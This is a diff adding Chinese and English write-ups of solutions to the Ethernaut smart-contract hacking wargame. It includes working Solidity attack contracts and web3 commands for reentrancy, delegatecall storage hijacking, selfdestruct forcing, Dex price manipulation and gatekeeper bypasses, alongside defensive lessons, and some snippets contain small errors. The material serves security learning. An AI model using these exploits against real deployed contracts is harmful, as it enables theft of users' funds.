+    require(address(token) != address(det), "Can't sweep DET tokens");
+    require(address(token) != address(legacyToken), "Can't sweep LegacyToken");
+    token.transfer(owner(), token.balanceOf(address(this)));
+}
+```
+
+## 27. Good Samaritan ✅[Easy]
+
+这题直接找到Inotify发现这个可以利用，然后还有个点就是利用
+```solidity
+catch (bytes memory err) {
+            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
+                // send the coins left
+                wallet.transferRemainder(msg.sender);
+                ...
+            }
+        }
+```
+这里直接捕获到对应的错误就把剩余的代币全转了，而且转之前也不看看是不是真的amount<10了，所以可以利用前一个实现notify的时候返回对应的err( revert("NotEnoughBalance()");)，然后就可以把剩余的代币全转了
+
+## 28. Gatekeeper Three ✅[Medium]
+
+思路：
+- 调用 construct0r 将 owner 设置为你的地址。
+- 调用 createTrick 创建 SimpleTrick 实例。
+- 找到 SimpleTrick 合约的 password。
+- 调用 getAllowance(password) 将 allowEntrance 设置为 true。
+- 确保合约余额大于 0.001 ether，并将 owner 地址设置为无法接收以太币的合约。
+- 通过代理合约调用 enter 函数，绕过 gateOne 检查。
+- 成功设置 entrant。
+
+## 29. Switch ✅[Easy]
+
+我的思路是直接调用flipSwitch，传入的参数是把bytes4(keccak256("turnSwitchOff()"))放在低次位的四个字节上
+```solidity
+function attack() public {
+        // 构造 _data：
+        // 前 4 字节是 turnSwitchOn 的选择器
+        // 第 68-72 字节是 turnSwitchOff 的选择器
+        bytes memory data = abi.encodeWithSelector(
+            target.turnSwitchOn.selector // 实际调用 turnSwitchOn
+        );
+
+        // 在第 68-72 字节插入 turnSwitchOff 的选择器
+        assembly {
+            mstore(add(data, 0x44), shl(224, 0x9c60e39d)) // turnSwitchOff selector
+        }
+
+        // 调用 flipSwitch，触发目标逻辑
+        target.flipSwitch(data);
+}
+```
+
+## 30. HigherOrder ✅[Hard]
+
+这关主要考察calldata的理解，在 Solidity 中，calldata 是函数调用时发送给合约的一段原始数据，包含以下结构：
+函数选择器（前 4 字节）：决定调用哪个函数。
+参数数据：紧跟选择器之后，包含函数的输入参数。
+例如，对于 registerTreasury(uint8)，正常的 calldata 结构是：
+
+[ 函数选择器 (4字节) ][ 参数 (32字节，实际是 uint8 范围内的值) ]
+
+但由于 assembly 直接读取了第 4 字节以后的 32 字节 数据，整个参数范围被扩大了。可以通过手动构造 calldata 来传递超过 uint8 范围的值。
+
+```solidity
+// 手动发送 calldata，绕过 uint8 限制
+bytes memory payload = abi.encodeWithSignature("registerTreasury(uint8)", uint256(256));
+(bool success, ) = address(target).call(payload);
+require(success, "Failed to register treasury");
+```
+
+## 31. Stake ✅[Medium]
+
+思路:
+攻击StakeWETH，因为WETH可以自己实现，并且这里的call直接去执行WETH的approve方法和transferfrom方法，我可以满足它的检测bytesToUint满足，然后不转入，但是还是加了amount，所以我可以满足题意
+
+## 32. impersonator ✅[Hard]
+
+思路：
+这个看了很久，首先确定ecrecover 是以太坊内置函数，用于从签名中恢复签名者的地址。
+note：它的主要用途是验证一条消息是否由某个以太坊地址持有的私钥签名。通过 ecrecover，我们可以验证签名者的身份，而不需要直接访问私钥。
+然后确定除了lock的constructor部分外其他都没啥问题，于是仔细研究constructor
+```solidity
+bytes32 _msgHash;
+assembly {
+    mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
+    mstore(0x1C, _lockId) // 32 bytes
+    _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
+}
+msgHash = _msgHash;
+``` 
+生成一个哈希值（msgHash），用作签名验证的基础。将固定前缀 "\x19Ethereum Signed Message:\n32" 存入内存起始位置 0x00。这是以太坊的 EIP-191 标准，要求在签名前加前缀，防止重放攻击。
+```solidity
+address initialController = address(1);
+assembly {
+    let ptr := mload(0x40)
+    mstore(ptr, _msgHash) // 32 bytes
+    mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
+    mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
+    mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
+    pop(
+        staticcall(
+            gas(), // Amount of gas left for the transaction.
+            initialController, // Address of `ecrecover`.
+            ptr, // Start of input.
+            0x80, // Size of input.
+            0x00, // Start of output.
+            0x20 // Size of output.
+        )
+    )
+    if iszero(returndatasize()) {
+        mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
+        revert(0x1c, 0x04)
+    }
+    initialController := mload(0x00)
+    mstore(0x40, add(ptr, 128))
+}
+``` 
+从 _signature 中恢复签名者地址，作为初始控制器（initialController）staticcall
+尝试调用 ecrecover 合约，恢复签名者地址。
+错误：这里错误地将 initialController（address(1)）作为调用目标地址，而 ecrecover 是内置函数，根本不需要合约地址。
+修复：
+```solidity
+// Recover the address from the signature
+    (bytes32 r, bytes32 s, uint8 v) = abi.decode(_signature, (bytes32, bytes32, uint8));
+    address initialController = ecrecover(msgHash, v, r, s);
+    require(initialController != address(0), "Invalid signature");
+
+// Prevent signature reuse
+bytes32 signatureHash = keccak256(_signature);
+require(!usedSignatures[signatureHash], "Signature already used");
+usedSignatures[signatureHash] = true;
+```
+
+## 33. Magic Animal Carousel ✅[Medium]
+
+没有想象的第一眼难，只要看懂
+carousel 是一个 mapping(uint256 => uint256)，表示木马的每个 "箱子" 的状态：
+高 80 位 (ANIMAL_MASK)：存储动物名字的编码。
+中间 16 位 (NEXT_ID_MASK)：存储下一个箱子的 ID。
+低 160 位 (OWNER_MASK)：存储当前箱子的拥有者地址。
+就很简单，设计也很精妙，因为加起来刚好256位，所以可以完美存储（EVM执行每条指令256位）
+隐藏难点在于输入进去的animal名字其实不能超过10个字节，但是限制是12个字节
+
+[Continue with remaining challenges...]
+
+## 学到的最佳实践
+
+1. **智能合约安全**
+   - 始终验证外部调用
+   - 使用安全的随机数来源
+   - 实施适当的访问控制
+
+2. **代码设计**
+   - 遵循标准模式
+   - 使用现代 Solidity 特性
+   - 保持代码结构清晰
+
+3. **测试**
+   - 编写全面的测试
+   - 考虑边界情况
+   - 针对安全漏洞进行测试
+
+## 参考资料
+- [Ethernaut](https://ethernaut.openzeppelin.com/)
+- [OpenZeppelin Contracts](https://github.com/OpenZeppelin/openzeppelin-contracts)
+- [如何成为智能合约审计员](https://cmichel.io/how-to-become-a-smart-contract-auditor/)
+- [Cmichel 的解答](https://cmichel.io/ethernaut-solutions/)
\ No newline at end of file
diff --git a/security/Ethernaut-wp-en.md b/security/Ethernaut-wp-en.md
new file mode 100644
index 000000000..e283f790d
--- /dev/null
+++ b/security/Ethernaut-wp-en.md
@@ -0,0 +1,927 @@
+# Ethernaut Solutions
+
+This post documents my solutions to [Ethernaut](https://ethernaut.openzeppelin.com/), an excellent Web3/Solidity game created by OpenZeppelin. Each level is a smart contract that needs to be hacked by exploiting vulnerabilities. 
+
+## Difficulty Levels
+- [Easy] - Basic concepts and simple vulnerabilities
+- [Medium] - Requires understanding of contract mechanisms and common attack vectors
+- [Hard] - Complex exploits and advanced concepts
+
+## 01. Fallback ✅ [Easy]
+
+This level tests knowledge of fallback functions:
+- `receive()` function is called when the contract receives ETH
+- `fallback()` function is called when calling non-existent functions
+- Meet conditions by sending small amount of ETH and calling `contribute()` function
+- Finally gain contract ownership through `receive()` function
+
+Attack steps:
+1. Call `contribute()` and send small amount of ETH (<0.001)
+```js
+await contract.contribute({value: web3.utils.toWei('0.0001')});
+```
+
+2. Send ETH directly to contract to trigger `receive()`
+```js
+await contract.sendTransaction({value: web3.utils.toWei('0.0001')});
+```
+
+3. Call `withdraw()` to extract all ETH
+```js
+await contract.withdraw();
+```
+
+## 02. Fallout ✅ [Easy]
+
+This level tests constructor issues in early Solidity versions:
+- Old versions used functions with same name as contract as constructor
+- If function name doesn't exactly match contract name, it becomes a regular function
+- Attacker can directly call this function to gain ownership
+
+Attack steps:
+1. Directly call `Fal1out()` function to gain contract ownership
+```js
+await contract.Fal1out();
+```
+
+2. Call `collectAllocations()` to withdraw funds
+```js
+await contract.collectAllocations();
+```
+
+Key learnings:
+- Constructor security
+- Importance of code auditing
+- Newer versions use `constructor` keyword which is more secure
+
+## 03. Coin Flip ✅ [Medium]
+
+This level tests blockchain random number issues:
+- On-chain random numbers can be predicted
+- Block information like `block.number` is public
+- Attacker can copy calculation logic in same block
+
+Attack steps:
+1. Deploy attack contract copying game contract's calculation logic
+2. Manually call `attackCoin()` ten times (wait for new block each time)
+3. Confirm victory count reaches 10
+
+> Note: Cannot continuously call `attackCoin()` ten times in a loop, as each guess needs to be in different blocks. Multiple calls in same block would use same `blockhash`, leading to same prediction results.
+
+Attack contract code:
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+interface ICoinFlip {
+    function flip(bool _guess) external returns (bool);
+}
+
+contract attack {
+    ICoinFlip public targetContract;
+    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+    constructor(address _targetAddress) {
+        targetContract = ICoinFlip(_targetAddress);
+    }
+
+    function attackCoin() public {
+        uint256 blockValue = uint256(blockhash(block.number - 1));
+        uint256 coinFlip = blockValue / FACTOR;
+        bool side = coinFlip == 1 ? true : false;
+
+        targetContract.flip(side);
+    }
+}
+```
+
+Key learnings:
+- Limitations of on-chain random numbers
+- Should not use block information as random source
+- Can use oracles like Chainlink VRF for true randomness
+- Understanding blockchain temporality, each block's information is unique
+
+## 04. Telephone ✅ [Easy]
+
+This level tests understanding of tx.origin:
+- tx.origin is the transaction sender
+- Attackers can use tx.origin to deceive contract into thinking attacker is contract owner
+
+Attack steps:
+1. Write an attack contract
+2. Call `changeOwner()` function to set contract owner to attacker
+
+Key learnings:
+- Understanding tx.origin limitations
+- Using msg.sender is more secure
+
+## 05. Token ✅ [Easy]
+
+This level tests understanding of solidity vulnerabilities:
+- In Solidity 0.6.x and earlier versions, `transfer()` and `send()` functions have vulnerabilities
+- In Solidity 0.6.x, if balances[msg.sender] is less than _value, balances[msg.sender] -= _value; will cause integer underflow (uint subtracting 1 from 0 becomes 2^256 - 1).
+This causes attacker's balance to become very large.
+- These functions don't revert transaction on error, just return false
+- Attackers can exploit these vulnerabilities for reentrancy attacks
+
+Attack steps:
+1. First check your msg.sender's balance
+2. Call `transfer()` function
+```js
+await contract.transfer("0x0000000000000000000000000000000000000000", 21);
+```
+3. Check your balance again, find it has increased
+
+Key learnings:
+- Understanding Solidity 0.6.x integer underflow vulnerability
+- Use safer functions and libraries (SafeMath or add overflow checks manually)
+
+## 06. Delegation ✅ [Easy]
+
+This level tests understanding of delegatecall:
+- delegatecall is a low-level call that can call code from another contract. delegatecall is a low-level function that allows contract A to execute contract B's code but using A's storage context. In other words, contract B's logic affects contract A's state.
+- Attackers can use delegatecall to call contract code and gain contract ownership
+
+Attack steps:
+1. await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});
+web3.utils.sha3("pwn()") generates hash of function signature
+.slice(0,10) takes first 4 bytes (function selector)
+
+Key learnings:
+- When using delegatecall, must ensure called contract's logic matches current contract's storage layout, otherwise storage might be accidentally overwritten.
+- Avoiding vulnerabilities in actual development
+
+- Avoid using delegatecall in fallback function unless strict access control is in place.
+- Use modern contract frameworks (like OpenZeppelin's Proxy contracts) to implement proxy logic.
+
+## 07. Force ✅ [Medium]
+
+This level tests understanding of selfdestruct:
+- selfdestruct is a low-level function in Solidity used to destroy contract and send all its balance to specified target address.
+- Attackers can use selfdestruct to force send contract balance to target address
+
+Attack steps:
+1. Deploy new contract and send ether to it.
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract ForceAttack {
+    constructor() public payable {
+        // Constructor can receive ether
+    }
+
+    function attack(address payable _target) public {
+        selfdestruct(_target);
+    }
+}
+```
+
+2. Call `attack()` function to send contract balance to target address
+```js
+// Call attack function to force send ether
+await attackContract.attack(contract.address);
+// Verify Force contract balance
+const balance = await web3.eth.getBalance(contract.address);
+console.log("Force Contract Balance:", balance);
+```
+
+Key learnings:
+- Understanding selfdestruct mechanism
+- Ensure your contract logic doesn't rely on zero balance assumption.
+- Avoid directly checking contract balance in code.
+
+## 08. Vault ✅ [Easy]
+
+This level tests understanding of blockchain storage:
+- Blockchain storage is public, anyone can view it, even private data can be viewed
+- Attackers can use blockchain storage to get contract password
+- All state variables in Solidity are stored in contract storage slots
+- Public variables (like locked) can be read directly through contract interface
+- Private variables (like password) though marked private, only means they can't be accessed directly through contract code. They can still be read through low-level storage reading methods (like web3.eth.getStorageAt)
+
+Attack steps:
+1. Use web3.eth.getStorageAt to read content of storage slot 1 (password stored in slot 1).
+```js
+await web3.eth.getStorageAt(contract.address, 1).toString();
+```
+2. Use read password as parameter to call `unlock()` function.
+```js
+await contract.unlock(password);
+```
+
+Key learnings:
+- Understanding Solidity storage layout
+- Using low-level functions (like web3.eth.getStorageAt) to access private variables
+- Don't store sensitive data directly on-chain, even with private keyword.
+- If need to store sensitive data, recommend using encryption and only decrypt when necessary.
+
+## 09. King ✅ [Easy]
+
+This level tests understanding of special variant of reentrancy attack:
+- Reentrancy attack is when attacker exploits contract vulnerability to call a function multiple times during execution to gain more benefits.
+- Attackers can use reentrancy attack to gain contract control
+
+Attack steps:
+1. If current king is a smart contract and that contract's receive function can't receive ETH (or intentionally makes transaction fail), new king can't successfully call receive, thus preventing any other player from becoming new king.
+2. Deploy an attack contract and become king through it.
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract KingAttack {
+    address public target;
+
+    constructor(address _target) public {
+        target = _target;
+    }
+
+    function attack() public payable {
+        // Call target contract and become new king
+        (bool success, ) = target.call{value: msg.value}("");
+        require(success, "Attack failed");
+    }
+
+    // Intentionally make receive ETH function fail
+    receive() external payable {
+        revert("I refuse to give up the throne!");
+    }
+}
+```
+
+3. Deploy attack contract and provide sufficient ETH (greater than current prize)
+
+Key learnings:
+- Understanding receive function's role: In target contract, receive function is core logic for receiving ETH. If receiver can't properly handle ETH transfer, transaction will fail.
+- Defense suggestions: Avoid using low-level calls (like call) for transfers, can use transfer or send which automatically revert on transfer failure.
+- In contract design, avoid relying on external contract behavior for core logic.
+- Use modern contract frameworks (like OpenZeppelin's ReentrancyGuard) to implement secure reentry control
+
+## 10. Re-entrancy ✅ [Medium]
+
+This level tests understanding of re-entrancy:
+- Reentrancy attack is when attacker exploits contract vulnerability to call a function multiple times during execution to gain more benefits.
+- Attackers can use reentrancy attack to gain contract control
+
+Attack steps:
+1. Write attack contract
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "./Reentrance.sol";
+
+contract ReentranceAttack {
+    Reentrance public target;
+    address public owner;
+
+    constructor(address payable _target) public {
+        target = Reentrance(_target);
+        owner = msg.sender;
+    }
+
+    // Call target contract's donate function
+    function donate() public payable {
+        target.donate{value: msg.value}(address(this));
+    }
+
+    // Launch attack
+    function attack(uint256 _amount) public {
+        target.withdraw(_amount);
+    }
+
+    // Reentry logic
+    receive() external payable {
+        if (address(target).balance > 0) {
+            target.withdraw(msg.value);
+        }
+    }
+
+    // Withdraw ether from attack contract
+    function withdraw() public {
+        require(msg.sender == owner, "Not the owner");
+        payable(owner).transfer(address(this).balance);
+    }
+}
+```
+2. Call `donate()` function to send contract balance to attack contract
+```js
+await contract.donate{value: 1 ether}();
+```
+3. Call `attack()` function to launch attack
+```js
+await attackContract.attack(1 ether);
+```
+
+Key learnings:
+- Understanding re-entrancy mechanism
+- Use modern contract frameworks (like OpenZeppelin's ReentrancyGuard) to implement secure reentry control
+
+## 11. Elevator ✅ [Easy]
+
+This level tests understanding of interface:
+- Interface is an abstract contract in Solidity used to define contract function signatures without implementation code.
+- Attackers can gain contract control by implementing interface but using function containing attack
+
+Attack steps:
+1. Main focus is writing attack contract implementing interface
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "./Elevator.sol";
+
+contract ElevatorAttack is Building {
+    Elevator public target;
+    bool public toggle;
+
+    constructor(address _target) public {
+        target = Elevator(_target);
+    }
+
+    function isLastFloor(uint) external override returns (bool) {
+        toggle = !toggle; // Toggle return value
+        return toggle;
+    }
+
+    function attack(uint _floor) public {
+        target.goTo(_floor);
+    }
+}
+```
+
+Key learnings:
+- Restrict interface callers: Verify if caller is trusted contract or specific address.
+- Use require to check msg.sender
+```solidity
+require(msg.sender == trustedAddress, "Unauthorized caller");
+```
+- Logic verification: Avoid completely relying on external contract return values, add internal verification logic.
+
+## 12. Privacy ✅ [Easy]
+
+This level tests understanding of storage slots and data protection:
+- Storage slots are spaces in Solidity used to store variables, each slot has unique index.
+- Attackers can use storage slots to get contract's private data
+
+Attack steps:
+1. First analyze: Solidity storage layout, state variables stored in slots in order:
+locked in slot 0.
+ID in slot 1.
+flattening, denomination, and awkwardness share slot 2.
+data array starts from slot 3, storing data[0], data[1], and data[2].
+Although data storage content is private, all storage slots can be read through low-level tools (like web3.eth.getStorageAt) on Ethereum.
+2. Use web3.eth.getStorageAt to read content of storage slot 5
+```js
+await web3.eth.getStorageAt(contract.address, 5).toString();
+```
+3. Convert read key to bytes16 then call unlock function:
+```js
+await contract.unlock(key.slice(0, 34)); // Use first 16 bytes
+```
+
+Key learnings:
+- flattening, denomination, and awkwardness share slot 2:
+  - Storage slot rules
+  - Storage slot size is 32 bytes (256 bits).
+  - If total size of multiple state variables doesn't exceed 32 bytes, they share same slot.
+  - Variable sizes
+  - flattening is uint8 (1 byte).
+  - denomination is uint8 (1 byte).
+  - awkwardness is uint16 (2 bytes).
+  - They total 1 + 1 + 2 = 4 bytes, much less than 32 bytes, so Solidity packs them into same slot (slot 2).
+- Reason for key.slice(0, 34)
+  - In JavaScript, web3.eth.getStorageAt returns hexadecimal string of Ethereum storage slot content, starting with 0x followed by 64 characters (32 bytes). Each two characters represent 1 byte, so:
+  - key length is 66 characters (including 0x prefix).
+  - First 16 bytes in hexadecimal needs 32 characters (16 bytes * 2 characters/byte).
+  - Plus 0x prefix, total 34 characters.
+  - Therefore, key.slice(0, 34) extracts hexadecimal representation of first 16 bytes.
+
+## 13. Gatekeeper One ✅ [Hard]
+
+This level tests understanding of access control and bit operations:
+- Difference between msg.sender and tx.origin
+  - In Ethereum:
+    - msg.sender
+      - Direct caller of current contract.
+      - When contract A calls contract B, for contract B, msg.sender is contract A's address.
+    - tx.origin
+      - Initial caller of entire transaction (usually external account).
+      - Regardless of how many layers of contract calls, tx.origin is always the external account address that initiated the transaction.
+
+Attack strategy:
+1. Make msg.sender not equal to tx.origin: introduce intermediary contract for attack, so msg.sender becomes intermediary contract address while tx.origin remains external account address
+2. Design gateKey
+GateKey design principle, _gateKey is bytes8 type parameter, aiming to satisfy three conditions:
+
+Condition 1: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
+After converting _gateKey to 64-bit unsigned integer, first 32 bits and first 16 bits must be same.
+Explanation:
+High 48 bits of _gateKey must be 0, so first 32 bits and first 16 bits will be identical.
+Example: _gateKey = 0x000000000000ABCD.
+Condition 2: uint32(uint64(_gateKey)) != uint64(_gateKey)
+After converting _gateKey to 64-bit unsigned integer, first 32 bits and full 64 bits cannot be same.
+Explanation:
+Low 32 bits of _gateKey cannot all be 0, otherwise first 32 bits and full 64 bits would be same.
+Example: _gateKey = 0x00000000XXXXXXXX, where XXXXXXXX is not 0.
+Condition 3: uint32(uint64(_gateKey)) == uint16(tx.origin)
+First 16 bits of _gateKey must equal last 2 bytes of your external account address.
+Explanation:
+tx.origin is your external account address.
+Address is 20 bytes (160 bits), last 2 bytes are low 16 bits of address.
+```js
+const txOrigin = web3.eth.defaultAccount; // Your external account address
+const keyPart = txOrigin.slice(-4); // Get last 4 characters (2 bytes) of address
+const gateKey = `0x000000000000${keyPart}`; // Construct _gateKey
+```
+3. Design attack contract
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract GatekeeperOneAttack {
+    address public target;
+
+    constructor(address _target) public {
+        target = _target;
+    }
+
+    function attack(bytes8 _gateKey) public {
+        for (uint256 i = 0; i < 8191; i++) {
+            (bool success, ) = target.call{gas: i + 8191 * 3}(
+                abi.encodeWithSignature("enter(bytes8)", _gateKey)
+            );
+            if (success) {
+                break;
+            }
+        }
+    }
+}
+```
+
+Key learnings:
+- Understanding GateKey design principles
+- Use for loop to repeatedly attack until gasleft() % 8191 == 0, call function for reentrancy attack
+- Understand difference between msg.sender and tx.origin
+
+## 14. Gatekeeper Two ✅ [Hard]
+
+This level tests understanding of access control, bit operations and inline assembly:
+- Inline assembly: Inline assembly is a low-level language in Solidity used to write assembly code directly in Solidity code.
+
+Attack strategy:
+1. Gate Two uses inline assembly extcodesize to check code size of caller address:
+extcodesize(caller()) gets code size of caller (msg.sender) address.
+If caller is contract address, extcodesize returns contract code size.
+Requires extcodesize returns 0, meaning caller cannot be an already deployed contract.
+In other words: need to attack by calling target contract in constructor, during constructor execution extcodesize returns 0 because contract code hasn't been deployed yet.
+
+2. Gate Three is simple, uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1.
+
+3. Design attack contract
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+interface GatekeeperTwo {
+    function enter(bytes8 _gateKey) external returns (bool);
+}
+
+contract GatekeeperTwoAttack {
+    constructor(address target) public {
+        // Calculate _gateKey
+        unchecked {
+            gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1);
+        }
+
+        // Call enter function
+        GatekeeperTwo(target).enter(gateKey);
+    }
+}
+```
+
+Key learnings:
+- Avoid using extcodesize to judge caller
+extcodesize behavior can be bypassed during contract construction.
+- Use more reliable authentication methods like signature verification.
+- Limit caller range
+Verify if caller is predefined address or authorized address.
+- Avoid using easily predictable hash values
+Don't rely on caller address or predictable values as access conditions.
+
+## 15. Naught Coin ✅ [Medium]
+
+Nothing new
+Two approaches:
+First: Use ERC20's approve and transferfrom methods
+Second: Exploit modifier design flaw, bypass require time check through intermediary contract
+
+## 16. Preservation ✅ [Medium]
+
+This level tests understanding of delegatecall:
+- delegatecall is a low-level function used to execute another contract's code in current contract's context.
+- Attackers can use delegatecall to execute target contract's code and gain control of target contract.
+
+Attack strategy:
+1. Although LibraryContract's storedTime is in Slot 0 in its definition, due to use of delegatecall, its logic actually operates on Slot 0 of Preservation contract, i.e., timeZone1Library.
+2. If timeZone1Library is set to attack contract address, can execute malicious contract logic through delegatecall and directly modify Slot 2 (owner).
+3. Attack contract:
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract MaliciousLibrary {
+    // Keep storage layout consistent with Preservation contract
+    address public timeZone1Library; // Slot 0
+    address public timeZone2Library; // Slot 1
+    address public owner;            // Slot 2
+
+    function setTime(uint256 _time) public {
+        owner = address(uint160(_time)); // Convert uint256 to address and assign to owner
+    }
+}
+```
+
+Key learnings:
+- Understanding how delegatecall works
+- Storage layout consistency crucial when using delegatecall.
+- Avoid external calls to untrusted contract addresses.
+
+## 17. Recovery ✅ [Medium]
+
+This level tests recovering lost contracts and funds through public blockchain data:
+In Ethereum, contract address is calculated using formula: address = keccak256(rlp.encode([sender, nonce]))[12:]
+sender is address creating contract. nonce is transaction count of that address.
+
+Strategy:
+Just find back address:
+```js
+const recoveryAddress = "RECOVERY_CONTRACT_ADDRESS"; // Replace with actual address
+const nonce = 1; // Recovery contract's nonce, assume this is first deployment
+const tokenAddress = web3.utils.toChecksumAddress(
+  "0x" + web3.utils.keccak256(web3.eth.abi.encodeParameters(
+    ["address", "uint256"],
+    [recoveryAddress, nonce]
+  )).slice(26)
+);
+
+console.log("Token Address:", tokenAddress);
+```
+
+## 18. Magic Number ✅ [Easy]
+
+This level tests constructing minimal contract and how to deploy contract directly through EVM bytecode:
+Core goal of this challenge is to deploy contract meeting following conditions:
+
+Total code length not exceeding 10 bytes.
+Return any valid result (not necessarily 42).
+```assembly
+PUSH1 0xff   // Push value 255
+PUSH1 0x00   // Return data storage location
+RETURN
+```
+
+## 19. Alien Codex ✅ [Medium]
+
+Strategy is simple: exploit codex.length-- to make index overflow then Ethereum will consider codex distributed across entire 2^256-1 slots (Ethereum considers array codex elements range extends to all storage slots (0 ~ 2^256-1)) then we calculate index i for slot0 (Owner), and modify owner stored in slot
+Implementation is complex:
+```js
+// Calculate target index
+const hash1 = web3.utils.keccak256(web3.eth.abi.encodeParameter("uint256", 1));
+const targetIndex = web3.utils.toBN(2).pow(web3.utils.toBN(256)).sub(web3.utils.toBN(hash1));
+// Modify slot 0
+const attackerBytes32 = web3.utils.padLeft(attacker, 64); // Convert attacker address to bytes32
+alienCodex.methods.revise(targetIndex.toString(), attackerBytes32).send({ from: attacker });
+```
+
+## 20. Denial ✅ [Easy]
+
+Very simple, still using call vulnerability, just consume large amount of gas, or directly steal all money
+
+## 21. Shop ✅ [Easy]
+
+Main focus is attacker's logic:
+```solidity
+ function price() external view override returns (uint256) {
+        // Return different prices based on isSold state
+        return shop.isSold() ? 0 : 100;
+    }
+```
+
+May change in practice, main ideas are:
+- Avoid using external contract function return values to determine logic:
+External calls are uncontrollable, can be maliciously manipulated.
+- Use view function to get external values and save immediately:
+Save external function return value to variable, avoid multiple calls:
+
+```solidity
+uint256 currentPrice = _buyer.price();
+if (currentPrice >= price && !isSold) {
+    isSold = true;
+    price = currentPrice;
+}
+```
+- Strict logic validation:
+Use internal logic or fixed values to determine contract behavior instead of external dependencies.
+
+## 22. Dex ✅ [Hard]
+
+This is interesting:
+Token price calculation formula in contract: uint256 swapAmount = (amount * toTokenBalance) / fromTokenBalance;
+This formula is simple proportion calculation used to dynamically determine token exchange ratio. Theoretically works but completely relies on current pool balance to calculate price.
+When balance changes dramatically (like when malicious user manipulates price), formula output fluctuates greatly, causing price distortion. (Easy to have situation where 1 Token1 can exchange for 10 Token2) Then trading back and forth earns more and more.
+
+Lack of protection mechanisms:
+No slippage limit: Slippage is natural phenomenon of token price fluctuation but should have limit to avoid extreme price changes from single transaction.
+Lack of minimum price check: Contract allows attacker to gradually reduce balance leading to extremely low or zero price for one token, thus depleting liquidity pool.
+
+This vulnerability exposes that decentralized exchanges need more complex mechanisms to protect pool stability. Solutions are:
+- Use Constant Product Formula to ensure price stability.
+- Add slippage protection and minimum liquidity limits.
+- Avoid directly relying on external user behavior to determine contract logic.
+- Consider fee model to reduce malicious behavior profits.
+
+## 23. Dex Two ✅ [Hard]
+
+Compared to dex1 this just lacks require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); restriction
+Then can inject an attack Token as long as implements ERC20, then can add attack transfer
+```solidity
+contract MaliciousToken is ERC20 {
+    constructor() ERC20("Malicious", "MTK") {}
+
+    function balanceOf(address account) public view override returns (uint256) {
+        return 1e18; // Always return high balance
+    }
+
+    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
+        return true; // Force transfer success
+    }
+}
+
+// Attack contract
+contract AttackDexTwo {
+    DexTwo public dex;
+    MaliciousToken public token;
+
+    constructor(address _dex) {
+        dex = DexTwo(_dex);
+        token = new MaliciousToken();
+    }
+
+    function exploit() public {
+        // Add malicious token liquidity to DexTwo
+        dex.add_liquidity(address(token), 1); // Add 1 malicious token
+
+        // Use malicious token's high balance to manipulate price
+        dex.swap(address(token), dex.token1(), 1);
+        dex.swap(address(token), dex.token2(), 1);
+
+        // At this point, DexTwo's token1 and token2 have been depleted
+    }
+}
+```
+
+## 24. Puzzle Wallet ✅ [Hard]
+
+This challenge has two issues:
+1. How to become admin of upgradeable contract
+Because UpgradeableProxy uses delegatecall, admin slot and puzzlewallet's max_balance are in same slot, so can call to change admin to yourself and add yourself to whitelist
+
+2. How to call deposit multiple times
+In multicall deposit restriction is "can only call once", but no restriction on multicall not calling itself, can nest deposit call in another multicall, like:
+multicall([
+  multicall([deposit])
+])
+In outer multicall, depositCalled variable resets to false. Inner multicall's deposit call then nests again, bypassing boolean variable restriction.
+
+## 25. Motorbike ✅ [Hard]
+
+Key is understanding:
+delegatecall process, and proxy contract vs logic contract
+
+Proxy contract (moto) is where variables are stored:
+Proxy contract stores all state variables, like initialized, these variable values actually stored in proxy contract's storage slots.
+When calling engine's initialize method through proxy contract, delegatecall's effect is to run initialize in proxy contract's storage context, thus setting initialized = true in proxy contract's storage slot.
+
+Logic contract (engine) only provides code:
+Logic contract itself doesn't store variables, it only defines variable layout and logic.
+If directly calling logic contract's methods, like engine.initialize(), storage variable initialized for logic contract is always uninitialized default value (false), because it has no independent storage.
+Therefore, each direct call to engine's methods, initialized = true is like changing a temporary variable, won't be saved.
+
+```solidity
+fallback() external payable {
+    assembly {
+        // 1. Copy calldata to memory
+        calldatacopy(0, 0, calldatasize())
+
+        // 2. Use delegatecall to call logic contract
+        let result := delegatecall(
+            gas(),                  // Forward all remaining gas
+            sload(implementation.slot), // Load logic contract address
+            0,                      // Input data start address
+            calldatasize(),         // Input data size
+            0,                      // Output data start address
+            0                       // Output data size
+        )
+
+        // 3. Copy return data to memory
+        returndatacopy(0, 0, returndatasize())
+
+        // 4. Return or revert based on call result
+        switch result
+        case 0 { revert(0, returndatasize()) }
+        default { return(0, returndatasize()) }
+    }
+}
+```
+
+Then create custom contract to execute selfdestruct
+Deploy malicious contract, use selfdestruct to destroy logic contract:
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Destroyer {
+    function destroy(address payable target) external {
+        selfdestruct(target);
+    }
+}
+```
+
+Call destroy function, targeting logic contract address:
+```javascript
+await destroyerContract.methods.destroy(logicAddress).send({ from: player });
+```
+
+## 26. DoubleEntryPoint ✅[Easy]
+
+Just call sweepToken(LGT) through intermediary contract, for fix:
+```solidity
+function sweepToken(IERC20 token) external onlyOwner {
